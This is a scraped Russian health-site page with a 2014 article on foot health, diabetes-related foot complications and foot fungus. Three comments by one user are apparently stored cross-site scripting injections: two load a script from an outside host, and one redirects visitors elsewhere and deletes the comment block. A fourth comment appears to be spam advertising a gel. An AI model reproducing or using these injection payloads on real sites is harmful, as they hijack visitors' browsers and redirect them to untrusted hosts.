Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Проблемы с ногами? Ученые...  >>  Проблемы с ногами? Ученые говорят, что в этом виноваты вы сами!
 
Обратная связь
 

Проблемы с ногами? Ученые говорят, что в этом виноваты вы сами!

Размер шрифта
10 ноября 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Даже те, кто тщательно следит за своим здоровьем, уделяют непростительно мало внимания такой важной области организма, как ноги и стопы. А между тем, правильная забота о здоровье ног может предупредить развитие многих тяжелых заболеваний и нарушений. 

Около 78% американцев старше 21 признаются, что у них были проблемы с ногами в определенные периоды их жизни. К наиболее частым заболеваниям, поражающим как мужчин, так и женщин, относятся растяжение связок голеностопного сустава (у каждого третьего), волдыри, мозоли, чувство усталости в ногах, трещины на коже и грибок стопы. Здоровье ног также ухудшается с ростом индекса массы тела (ИМТ).

«Люди должны заботиться о здоровье своих стоп, ведь это очень легко – достаточно лишь носить удобную обувь, которая не натирает, и сохранять ноги сухими», – сообщает директор Института здоровья ног Роберт Томпсон. «Мы выступаем за то, чтобы люди использовали так называемый «комплексный подход», чтобы предотвратить повреждение кожи и мягких тканей стоп. Во-первых, мы рекомендуем носить мягкие носки с новой обувью, а также пользоваться всеми ортопедическими вставками, рекомендованными специалистом. Очень важно сохранять ноги сухими и предотвращать избыточное потоотделение, ведь  влажность создает благоприятные условия для развития грибка стопы. Правильный подбор обуви по размеру избавит вас от таких проблем, как скольжение ноги внутри обуви, а пальцы не будут чересчур сжаты, ведь неправильное положение ноги может привести к травме. Анализ походки также важен при подборе обуви для определения ряда биомеханических параметров, которые необходимо учитывать во избежание травмирования стоп».

Люди, которые находятся в группе риска по заболеваниям стоп, не получают необходимой помощи, чтобы предотвратить возможные медицинские последствия. Лишь около 46% пациентов, страдающих сахарным диабетом, проходят регулярные обследования ног у врача. Только 20% пациентов информированы о том, что у них могут возникнуть осложнения, и только 11% заявили, что подбирают себе обувь должным образом. 

Согласно данным официальных организаций по контролю заболеваемости, более 60% ампутаций нижних конечностей, не связанных с травмами, проводятся пациентам с сахарным диабетом. К примеру, в 2009 году было проведено более 68 000 таких ампутаций. В 2007 году на лечение диабета и его осложнений в Америке было выделено 116 миллиардов долларов; как минимум треть от этой суммы ушла на лечение язв на ногах. «Люди, страдающие диабетом или другими заболеваниями, приводящими к нарушениям кровотока в нижних конечностях, находятся в группе повышенного риска по образованию трофических язв и ампутациям стоп», – предупреждает доктор Терренс Шихан. «Это очень тревожные данные, они говорят о том, что врачам необходимо обратить особое внимание на здоровье ног их пациентов. Нужно, чтобы и пациенты осознали всю важность этих мероприятий». 

Участники исследования подтвердили, что их производительность на работе снижается, когда у них возникают проблемы со здоровьем ног. Около 52% испытывают сильную усталость в ногах после рабочего дня, а 44% отмечают, что это плохо сказывается на их трудоспособности. 

А кто из нас не сталкивался с грибком стопы? Ужасный зуд, шелушение, неприятный запах – все это явно не добавляет комфорта в жизни и работоспособности. Кроме того, грибковое поражение может осложниться бактериальной инфекцией, что весьма и весьма опасно.

Вот еще некоторые выводы, к которым пришли исследователи: 

  • среди тех, кто испытывает проблемы с ногами, только 59% посетили врача для консультации по этому вопросу;
  • люди старше 50 лет, имеющие проблемы с ногами, значительно чаще обращаются к специалисту, чем молодые люди с такими же нарушениями. Также они сообщают о том, что плохое состояние здоровья ног снижает их качество жизни;
  • по статистике, у женщин чаще, чем у мужчин, наблюдается усталость в ногах, мозоли, трещины, вросшие ногти, волдыри и отеки.

Не пренебрегайте здоровьем своих ног, особенно если принадлежите к группе риска. Обязательно обращайте внимание на правильный выбор обуви, которая будет удобна и не приведет к повреждениям стоп. А при возникновении проблем обратитесь за советом к специалисту.

Но сначала – добро пожаловать к нам на страницы специального проекта «Как победить грибок стопы»! Там вы узнаете все о профилактике и лечении этого пренеприятного заболевания.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:30

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 21:29

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:25

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

4 - Гость

17 августа 2016 в 09:39

Цитировать   |   Пожаловаться

В любом случае за красотой и здоровьем ног нужно следить. У меня из-за ношения неудобной обуви на высоких каблуках появились выступающие венки и отеки на ногах, а это все о варикозе свидетельствует. Лечилась я Тромбоцидом. Хороший гель от варикоза. Он ощутимо облегчил мне жизнь. Ножки чувствуют себя хорошо. Гелем очень довольна.

Статьи

       
Как сохранить вашу любимую обувь и не заболеть?   Как не зарасти грибком   Ваша посудомоечная машина пытается вас убить   Все что надо знать о бронхите  
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
Как не покрыться грибком?
Грибок, который гарантирует, что вы останетесь без секса!
Как любимые туфли портят вам жизнь

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.